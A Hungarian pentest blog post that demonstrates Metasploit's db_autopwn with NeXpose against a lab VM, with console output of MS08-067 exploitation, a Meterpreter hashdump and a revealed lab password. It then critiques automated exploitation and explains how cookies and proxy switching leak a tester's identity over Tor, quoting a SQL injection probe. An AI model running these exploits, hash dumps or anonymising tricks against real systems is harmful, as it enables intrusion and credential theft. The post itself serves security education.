A "Big Red Hacking Button" bölcsessége és butasága

Pusztán termelékenységi-hatékonysági oldalról nézve, pentest során a legjobb az lenne, ha kapnánk egy hatalmas piros "HACK" feliratú gombot, amire ráütünk, elmegyünk kávézni és mire visszajövünk, ott vár három-négy shell és a report vezetői összefoglalóval. Nos, úgy tűnik, hogy a 3.3.2-es Metasploit Framework megadja mindezt - annyi különbséggel, hogy itt a piros gomb helyett be kell írni, hogy "db_autopwn -e -x".

Valahogy így:

root@jester:/usr/share/metasploit/trunk# ./msfconsole

____________
<>
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *


=[ metasploit v3.3.3-dev [core:3.3 api:1.0]
+ -- --=[ 469 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
=[ svn r7849 updated 3 days ago (2009.12.14)

msf > db_
db_connect db_create db_destroy db_disconnect db_driver
msf > db_connect
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load nexpose

▄▄▄ ▄▄ ▄▄▄ ▄▄▄
███ ██ ██ ▄██
██▀█ ██ ▄████▄ ████ ██▄███▄ ▄████▄ ▄▄█████▄ ▄████▄
██ ██ ██ ██▄▄▄▄██ ██ ██▀ ▀██ ██▀ ▀██ ██▄▄▄▄ ▀ ██▄▄▄▄██
██ █▄██ ██▀▀▀▀▀▀ ████ ██ ██ ██ ██ ▀▀▀▀██▄ ██▀▀▀▀▀▀
██ ███ ▀██▄▄▄▄█ ██ ██ ███▄▄██▀ ▀██▄▄██▀ █▄▄▄▄▄██ ▀██▄▄▄▄█
▀▀ ▀▀▀ ▀▀▀▀▀ ▀▀▀ ▀▀▀ ██ ▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀ ▀▀▀▀▀
██

[*] NeXpose integration has been activated
[*] Successfully loaded plugin: nexpose
msf > nexpose_connect nxadmin:CsodalatosJ3lsz0@localhost
[*] Connecting to NeXpose instance at localhost:3780 with username nxadmin...
msf > nexpose_connnexpose_scan -x 172.16.75.130
[*] Scanning 1 addresses with template pentest-audit in sets of 32
[*] Completed the scan of 1 addresses
[*] Launching an automated exploitation session
[*] Analysis completed in 4 seconds (0 vulns / 0 refs)
[*]
[*] ================================================================================
[*] Matching Exploit Modules
[*] ================================================================================
[*] 172.16.75.130:445 exploit/windows/smb/ms08_067_netapi (NEXPOSE-dcerpc-ms-netapi-netpathcanonicalize-dos)
[*] 172.16.75.130:445 exploit/windows/smb/ms06_040_netapi (CVE-2006-3439)
[*] ================================================================================
[*]
[*]
[*] (1/2 [0 sessions]): Launching exploit/windows/smb/ms08_067_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Launching exploit/windows/smb/ms06_040_netapi against 172.16.75.130:445...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] (2/2 [0 sessions]): Waiting on 2 launched modules to finish execution...
[*] Meterpreter session 1 opened (172.16.75.1:38587 -> 172.16.75.130:1031)
[*] (2/2 [1 sessions]): Waiting on 1 launched modules to finish execution...
[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================

Active sessions
===============

Id Description Tunnel Via
-- ----------- ------ ---
1 Meterpreter 172.16.75.1:38587 -> 172.16.75.130:1031 windows/smb/ms08_067_netapi

[*] ================================================================================

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > hashdump
bela:1003:c8fbb48411c924a1aad3b435b51404ee:12890636511bacb8784772c8cdd155f7:::
Rendszergazda:500:aebd4de384c7ec43aad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f:::
Seg�ts�gny�jt�:1000:36d13542982fd52354b1aeeda39288ad:226a4f6f37969ab489c58939f9bc5f0e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9dbd606208432919c6c49111732cabe3:::
Vend�g:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter >

(Szemfüles olvasóinkat megerősítjük abban, hogy a tesztelt gép adminjelszava valóban rövidebb hét karakternél, és a gépidő töréssel való fogyasztásának megelőzésére azt is hozzátesszük, hogy a "bela" felhasználó jelszava "bela".)

Nos, igen. Mindehhez kellemes négy-öt kattintással összeállítható a report is, és elvileg készen vagyunk - vagy mégsem?

Az autopwn és a metasploit csodálatosan hatékony eszközök, és biztosan számtalan helyen fogjuk viszontlátni a fenti kombinációt komplett penetration test megoldásként eladva. A helyzet azonban az, hogy ez így nagyon látványos, de ha valaki kizárólag ezzel a módszerrel végez pentestet, akkor úgy viselkedik, mint az az asztalos, akinek egy darab kalapácsa van és meglepve tapasztalja, hogy csupa szög jön szembe, tehát kalapáccsal mindent meg lehet oldani.

A fenti példafuttatása a vmnet8 nevű hálózati interfészen történt - valós környezetben, ügyfélnél inkább nem használjuk. Miért?

• Csak a jéghegy csúcsát mutatja meg. Valóban, lehet frissíteni a metasploitot is, a nexpose-t is, a Nessust is, azonban önmagukban ezek az eszközök a sebezhetőségek (tesztelői szempontból lehetőségek) egy részét képesek csak megmutatni. A tapasztalat az, hogy a közvetlenül kihasználható, CVE-számmal címkézett, frissítések elmulasztásából fakadó sebezhetőségek mellett - ezek felderítésében jeleskednek automatizált eszközeink - számtalan egyéb vektor is támadható, amelyek legalább olyan veszélyesek. Például megpróbálhatunk on-line módon jelszavakat próbálgatni, esetleg ha már webszerveren futó alkalmazást is találtunk, akkor abban vizsgálni, hogy mindenre gondoltak-e a fejlesztők. A munkát nem lehet sajnos megúszni így sem.
  
• Iszonyatosan (NAGYON) zajos. A fenti, nagyon egyszerű teszt során sikerült nagyságrendileg 10 MB-ot forgalmazni a hálózaton, és ezt a pcap mentés alapján nem igazán udvariasan tette teszteszközünk. Sokkal hatékonyabb és jobb megoldás, ha a lépésről lépésre építjük fel a támadást - először kiderítjük, kik vannak a hálózatunkon, majd megállapítjuk a nyitott portjaikat és a rajtuk futó szolgáltatásokat, majd ezen információk birtokában hálózatra szabjuk az automatizált eszközünket (!), és úgy végezzük el a scant.
  
• Nem igazán jók a portscannelési funkciók. A portscannelést csomagdump alapján SYN-stealth módszerrel tette meg a nexpose, és sajnos a tapasztalatok szerint nem igazán működik jól, ha tarpitting vagy egyéb portscanning elleni védelem van érvényben. Másrészt az nmap jóval hatékonyabb tud lenni, ha futtatás előtt kimérjük az időzítéseket, a csomagvesztéseket és egyéb statisztikai információkat a hálózattal kapcsolatosan.
  

A nexpose+metasploit páros nagyon hatékony- demózási célokra, éles tesztek során inkább maradunk a két lépcsővel kézibb tesztelésnél.

Cookie-k vs. anonimitás

Egy tesztelős munka kapcsán felmerült igényként, hogy amit csinálunk, azt csináljuk nagyon szépen: lehetőleg semmilyen módon ne lehessen tudni, hogy amit tesztelünk (konkrétan egy webapp), azt honnét teszteljük. Nyilvánvalóan nem lehet bizonyos információkat kiküszöbölni az egyenletből, például az ügyfél webszerverén a beérkező HTTP-kéréseket mindenképpen naplózni fogják - egy gömbölyű világban, persze.

A munka meglehetősen kézenfekvő módon indult: ToR-on keresztül ingyenes e-mail fiók regisztrálása a freemail-en, majd elkezdtük nézegetni a célpontot. Nézelődés közben a webscarab minden HTTP-kérést naplózott a tesztelő gépen, és némileg meglepő felfedezésre jutottunk (nyilván nem meglepő a szó hagyományos értelmében, ugyanis tulajdonképpen teljesen logikus): a cookie-k és a proxyeszközök nem kellőképp elővigyázatos alkalmazása megöli az anonimitást. Miért?

Tegyük fel, hogy néha csalunk tesztelés közben, rá-ránézünk az indexre és a secfocusra, ilyenkor pedig nincs kedvünk kivárni, hogy a ToR-on keresztül töltődjön minden. Ilyenkor átkapcsoljuk foxyproxyval a firefoxot az alap kapcsolat használatára - és itt romlik el minden. Ugyanis az, hogy böngészőnk ablakában ott nyugszik a vizsgált alkalmazás, nem jelenti azt, hogy nem is fog forgalmazni feléje: sok modern webapp esetén automatizáltan lekérdez ezt-azt a böngészőnk, míg a mappelőszkript fut egy másik terminálon. A "mellékes" forgalmazás közben pedig az addigi sessionben fogunk forgalmazni, azaz megsüthetjük az anonimitásunkat. Nyilván triviális a megoldás - tessék másik böngészőt használni. Nem másik böngészőablakot nyitni, hanem totálisan másik böngészőt, pl. Firefox helyettt Operát linuxon. Vagy linkset.

A cookie-k ott jönnek igazán képbe, amikor csak a tesztelés szaftosabb részeiben használunk ToR-t: lassú a dolog, emiatt a mappelést és az inputok azonosítását a normál kapcsolaton keresztül végezzük, csak a ' or 1=1 or '-jellegű szúrkálás során alkalmazunk ToR-t. Ez akkor veszélyes, ha a cookie-kat nem töröljük váltáskor, ugyanis a böngészőnk ugyanúgy el fogja küldeni a cookie-t, hiszen ugyanabban a domainbe küld HTTP-kérést, akár ToR-on keresztül teszi ezt, akár nem. Ezzel viszont kapcsolat teremthető ToR és a "mezei" kapcsolat között - azaz bukik az anonimitás.

Harmadrészt ki az, aki mindent tud rólunk? Igen, a Google. A safebrowsing (most már phishing filternek hívják) funkció használata során az új domainekbe irányuló kérések kiadása előtt a böngészőnk ellenőrzi, hogy az adott domainen orosz üzletemberek üzemeltetnek-e adathalász oldalt, és ha igen, nagyon nehezen engedi oda a felhasználót. A safebrowsing funkció tehát tájékoztatja a google-t arról, hogy milyen URL-eket nézegetünk meg - persze csak akkor köthető konkrét személyhez, ha a standard google tracking cookie-k engedélyezve vannak (azaz pl. be vagyunk lépve a google-birodalomba, vagy egyszerűen csak nincsenek letiltva a cookie-k en bloc). A kép akkor lesz teljes, ha végiggondoljuk, hogy a cookie információk (és a safebrowsing) ugyanazon a csatornán megy keresztül, mint a "normál" adatforgalom - emiatt a google-nél pontos nyilvántartást lehet vezetni arról, hogy milyen domaineket látogatunk meg és az is, hogy milyen IP-ről. Sőt: a google analytics-es tracking javascript, amit számtalan oldal kódjába előzékenyen beszúrnak az oldalak üzemeltetői, pontosan ugyanezt tudja megtenni.